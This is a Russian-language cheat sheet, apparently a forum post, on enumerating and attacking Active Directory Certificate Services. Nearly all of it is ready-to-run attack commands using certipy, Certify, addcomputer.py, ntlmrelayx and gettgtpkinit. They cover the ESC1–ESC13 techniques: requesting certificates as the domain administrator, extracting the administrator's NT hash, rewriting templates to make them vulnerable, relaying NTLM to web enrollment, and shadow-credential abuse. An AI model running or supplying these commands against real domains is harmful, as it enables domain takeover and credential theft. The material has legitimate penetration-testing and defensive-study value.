Поиск PKI Enrollment Services и шаблонов сертификатов в Active Directory
Использование Certipy
Использование Certify
Типовые атаки на Active Directory Certificate Services
Полезные ресурсы
Инструменты
- Команда для поиска через LDAP:
Код:
nxc ldap ip -u username -p password -M adcs
Использование Certipy
- 1. Поиск уязвимых шаблонов сертификатов:
Код:
certipy find -u username -p password -dc-ip ip -vulnerable -enabled
- 2. Список CA, серверов и поиск уязвимых шаблонов:
Код:
certipy find -u username -p password -dc-ip ip -dns-tcp -ns ip -debug
Использование Certify
- Поиск уязвимых шаблонов сертификатов:
Код:
Certify.exe find /vulnerable
Типовые атаки на Active Directory Certificate Services
- ESC1:
- Создание нового имени компьютера:
Код:
addcomputer.py domain/username:password -computer-name computer_name -computer-pass computer_password
- Использование права пользователя на создание запроса с пользовательским SAN:
Код:
certipy req -u computer_name -p computer_password -ca ca -target domain -template template -upn administrator@domain -dns domain -dc-ip ip
- Аутентификация с сертификатом и получение NT-хэша администратора:
Код:
certipy auth -pfx pfx_file -domain domain -username username -dc-ip ip
- Создание нового имени компьютера:
- ESC3:
- Запрос сертификата:
Код:
certipy req -username username -password password -ca ca -target domain -template template
- Запрос от имени другого пользователя:
Код:
certipy req -username username -password password -ca ca -target domain -template User -on-behalf-of 'domain\administrator' -pfx pfx_file
- Аутентификация как администратор:
Код:
certipy auth -pfx administrator.pfx -dc-ip ip
- Запрос сертификата:
- ESC4:
- Изменение конфигурации шаблона сертификата, делая его уязвимым:
Код:
certipy template -username username -password password -template template -save-old -dc-ip ip
- Проверка уязвимости сертификата:
Код:
certipy find -u username -p password -dc-ip ip -dns-tcp -ns ip -stdout -debug
- Изменение конфигурации шаблона сертификата, делая его уязвимым:
- ESC6:
- Запрос сертификата с использованием UPN:
Код:
certipy req -username administrator@domain -password password -ca ca -target domain -template template -upn administrator@domain
- Запрос сертификата с использованием UPN:
- ESC7:
- Добавление пользователя в офицеры с правами "Manage Certificates":
Код:
certipy ca -ca ca -add-officer username -username username@domain -password password -dc-ip ip -dns-tcp -ns ip
- Включение шаблона SubCA:
Код:
certipy ca -ca ca -enable-template SubCA -username username@domain -password password -dc-ip ip -dns-tcp -ns ip
- Добавление пользователя в офицеры с правами "Manage Certificates":
- ESC8:
- Если сервер ADCS не на контроллере домена и активирован Web Enrollment:
Код:
ntlmrelayx.py -t http://domain/certsrv/certfnsh.asp -smb2support --adcs --template template --no-http-server --no-wcf-server --no-raw-server
- Если сервер ADCS не на контроллере домена и активирован Web Enrollment:
- ESC9:
- Использование команды shadow для целевого аккаунта:
Код:
certipy shadow auto -username username@domain -hashes :hash -account target_username
- Запрос сертификата с указанным шаблоном:
Код:
certipy req -username target_username@domain -hashes :target_hash -ca ca -template template -target $DC_IP
- Использование команды shadow для целевого аккаунта:
- ESC13:
- Создание запроса сертификата с ключом большого размера:
Код:
certipy req -u username -p password -ca ca -target domain -template template -dc-ip ip -key-size 4096
- Получение TGT через PKINIT:
Код:
python3 gettgtpkinit.py -cert-pfx pfx_file domain/username ccache_file -dc-ip ip -v
- Создание запроса сертификата с ключом большого размера:
Полезные ресурсы
- https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/ad-cs-abuse
- https://book.hacktricks.xyz/windows...methodology/ad-certificates/domain-escalation
- https://swisskyrepo.github.io/Inter...d-adcs-certificate-services/#adcs-enumeration
Инструменты